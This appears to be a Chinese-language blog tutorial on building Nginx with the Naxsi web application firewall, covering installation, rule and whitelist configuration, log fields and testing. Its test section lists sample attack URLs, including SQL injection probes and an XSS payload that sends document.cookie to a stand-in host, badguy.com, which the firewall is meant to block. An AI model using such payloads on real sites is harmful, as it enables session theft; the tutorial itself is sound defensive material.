曾经研究过一段时间,并做了一下简单的总结,感觉还比较实用,放在有道云笔记里躺了很长时间,感觉有点浪费,拿出来分享一下,让新手少走弯路,高手请绕行。。。。
环境: linux平台,redhat系统;
一 Nginx 安装1.所需组件
若已有这几个组件,可直接查看安装部分
1.1 gcc编译器
若没有gcc编译器, yum -y install gcc*
这一步时间有点长
1.2 pcre-8.32
安装pcre过程:
http://sourceforge.net/projects/pcre/files/pcre/8.32/pcre-8.32.tar.gz/download
[root@localhostLNMP]# wget http://sourceforge.net/projects/pcre/files/pcre/8.32/pcre-8.32.tar.gz/download
[root@localhost LNMP]#tar -zxvf pcre-8.32.tar.gz
[root@localhost nginx-1.3.15]#cd pcre-8.32
[root@localhost pcre-8.32]]#./configure
[root@localhost pcre-8.32]#make && make install
1.3 zlib
安装zlib库组件过程:
[root@localhost LNMP]# yum -y install zlib-devel
2 Nginx+Naxsi安装
2.1 Nginx+Naxsi 下载
[root@localhost LNMP]# wget http://nginx.org/download/nginx-1.3.15.tar.gz
[root@localhost LNMP]# wgethttp://naxsi.googlecode.com/files/naxsi-core-0.50.tgz
2.2 安装
[root@localhost LNMP]# tar -zxvf nginx-1.3.15.tar.gz
[root@localhost LNMP]# tar -zxvf naxsi-core-0.50.tgz
[root@localhost LNMP]# cd nginx-1.3.15
[root@localhost nginx-1.3.15]# ./configure --add-module=../naxsi-core-0.50/naxsi_src
[root@localhost nginx-1.3.15]#make && make install
2.3 启动 Nginx
启动Nginx,并测试,如下图所示:
/usr/local/nginx/sbin/nginx #启动Nginx
/usr/local/nginx/sbin/nginx -t #测试配置文件是否正常
Killall -9 nginx #杀死nginx进程
kill -HUP `cat /usr/local/www/nginx/logs/nginx.pid` #以平滑方式重启Nginx
如果在启动Nginx时,出现如下图所示的错误,
那么可以按照下面的方法来解决:
32位系统 [root@localhost lib]# ln -s /usr/local/lib/libpcre.so.1 /lib
64位系统 [root@localhost lib]# ln -s /usr/local/lib/libpcre.so.1 /lib64
二 Naxsi配置(waf)
1配置过程
这个具体配置分为两个过程:
一、修改Nginx.conf配置文件,配置与Naxsi(WAF)相关选项。
二、将Nginx配置为反向代理,为后端Web服务器提供防护。
2.详细配置
1.1 拷贝规则
将Naxsi的核心配置规则库拷贝一份至Nginx文件所在目录,:
1.2 修改Nginx.conf
接着修改Nginx.conf配置文件,在其中加入如下一行配置,让其包含Naxsi的核心规则库文件:
1.3 定义CheckRule
然后定义一个虚拟主机的安全规则,可参考下面的内容:
LearningMode; #Enables learning mode
SecRulesEnabled;
#SecRulesDisabled;
DeniedUrl "/RequestDenied";
include "/tmp/naxsi_rules.tmp";
## check rules
CheckRule "$SQL >= 8" BLOCK;
CheckRule "$RFI >= 8" BLOCK;
CheckRule "$TRAVERSAL >= 4" BLOCK;
CheckRule "$EVADE >= 4" BLOCK;
CheckRule "$XSS >= 8" BLOCK;
将上面的内容保存在一个文件中,如test.rules,下面会用到。
1.4 定义阻断页面
自定义一个阻断页面,当WAF检测到攻击时,会将该页面返回给用户,可参考如下内容:
<html>
<head>
<title>Error 403 Request Denied</title>
</head>
<body>
<h2>Error 403 Request Denied</h2>
For some reasons, your request has been denied.
</body>
</html>
注:这一步也可采用默认40x页面,但为了区分最好自己定义一个,定义位置一般在
/usr/local/nginx/html/ 即nginx安装目录下的html文件下面。
1.5 配置反向代理
新建一个虚拟主机的配置文件,具体配置如下图所示:
server{
listen 80;
server_name 10.19.150.37;
access_log logs/host.access.log ;
location / {
include /usr/local/nginx/conf/test.rules;
include /usr/local/nginx/conf/naxsi_BasicRule.conf; #白名单
root html;
}
location /RequestDenied{
return 403;
}
error_page 403 /403.html;
location = /403.html{
root /usr/local/nginx/html;
internal;
}
}
}
最后,再次修改Nginx.conf,使其包含刚定义的虚拟主机配置文件即可,如下:
#include /usr/local/nginx/conf/test.conf
重启Nginx服务后配置生效。
注:Nginx.conf文件中中必须要include naxsi_core.rules 和 配置的虚拟机 test.conf文件。而test.conf中要include 规则,如 test.rule判定规则,Wl.rules白名单。
3.Rule详解
Naxsi整个规则集由三类规则构成,分别是:
(1) MainRule:主配置规则,即naxsi自带的规则,Naxsi-core.rules。
(2)CheckRule-结果裁定规则),在下面的配置中为test.rules
(3)BasicRule-本地配置规则,也就是白名单。
下面来分别介绍这三种规则的内容。
1.1 MainRule
规则集部分配置文件:包含naxsi要检测攻击特征的规则,基本规则的格式如下:
[@beike_41_134 workspace]# vi /etc/nginx/naxsi_core.rules 【naxsi的规则配置文件路径】
MainRule"str:|""msg:mysqlkeyword(|)""mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1005;
规则说明:
str:| : 规则要检测的字符“|”
msg:mysql keyword (|) : 规则的标签信息。
mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie : 规则要检查的协议字段,Body还是Url等。
s:$SQL:8 : 如果匹配上该条规则则设置变量SQL的值为8,当该变量超过引擎配置中设置的阈值时naxsi就采取劢作。
id:1005 : 规则的id号,根据该id号可以识别日志中产生的信息是由哪一条规则触发的。
其中要检查的协议字段内容分别为:
ARGS | GET args |
HEADERS | HTTP Headers |
BODY | POST args |
URL | The URL (before '?') |
FILE_EXT | Filename (in a multipart POST containing a file) |
1.2 CheckRule
1 #learningMode;
2 SecRulesEnabled;
3 #SecRulesDisabled;
4 DeniedUrl "/RequestDenied";
5 #include "/tmp/naxsi_rules.tmp";
7 ## check rules
8 CheckRule "$SQL >= 8" BLOCK;
9 CheckRule "$RFI >= 8" BLOCK;
10 CheckRule "$TRAVERSAL >= 4" BLOCK;
11 CheckRule "$EVADE >= 4" BLOCK;
12 CheckRule "$XSS >= 8" BLOCK;
备注:
第1行:开启自学习模式。目前为关闭状态,需要相关内置的配置脚本参不手动执行才能完成;
第2行:开启该模块的检测功能;
第3行:关闭该模块的检测功能;
第4行:拒绝请求时的应答内容位置-/RequestDenied目录下的默认文件;
第5行:设置自学习生成的规则文件;
第8-12行:相关内置变量的阈值设置,即达到该阈值即阻断请求(BLOCK)。naxsi根据核心规则集检测数据包,发现匹配上规则就增加相关特征变量的值,达到阈值即认为是攻击,最后采取动作。
1.3 BasicRule
测试使用范例:
BasicRule wl:0 "mz:$ARGS_VAR:script";
BasicRule wl:0 "mz:$ARGS_VAR:id";
表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;
注:在这里我已经从另外一个开源项目中移植了一个python程序过来,可以生成白名单,输入如下指令,前提是机器要包含这几个文件,nx_util.py、nx_util.conf、nx_lib文件、nx_data文件,如图所示:
执行该命令可得带白名单,注意:这里的error.log路径一定要正确,得到白名单如下图所示。
python nx_util.py -l /usr/local/nginx/logs/error.log -o -c ./nx_util.conf >> whitelist.log
4 Naxsi log解析
Eg:2013/11/10 07:36:19 [error] 8278#0: *5932 NAXSI_FMT: ip=X.X.X.X&server=Y.Y.Y.Y&uri=/phpMyAdmin-2.8.2/scripts/setup.php&learning=0&vers=0.52&total_processed=472&total_blocked=204&block=0&cscore0=$UWA&score0=8&zone0=HEADERS&id0=42000227&var_name0=user-agent, client: X.X.X.X, server: blog.memze.ro, request: "GET /phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1", host: "X.X.X.X"
ip | Client's ip |
server | Requested Hostname (as seen in http header "Host") |
uri | Requested URI (without arguments, stops at '?') |
learning | tells if naxsi was in learning mode (0/1) |
vers | Naxsi version. Only appears in naxsi >= 0.51 |
total_processed | Total number of reques ts processed by nginx's worker |
total_blocked | Total number of requests blocked by (naxsi) nginx's worker |
zoneN | Zone in which match happened (see "Zones" in the table below) |
idN | The rule id that matched |
var_name | (optional) Variable name in which match happened |
三 测试
1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
2、测试链接:
http://10.19.150.37/xss/ 通过
http://10.19.150.37/xss/?id=40/**/and/**/1=1 通过,因为配置到白名单
http://10.19.150.37/xss/?name=40/**/and/**/1=1 不通过,含有条件注入
http://10.19.150.37/xss/?name=%28%29 不通过,特殊字符
http://10.19.150.37/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E 不通过,参数内容含脚本注入
http://10.19.150.37/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22 不通过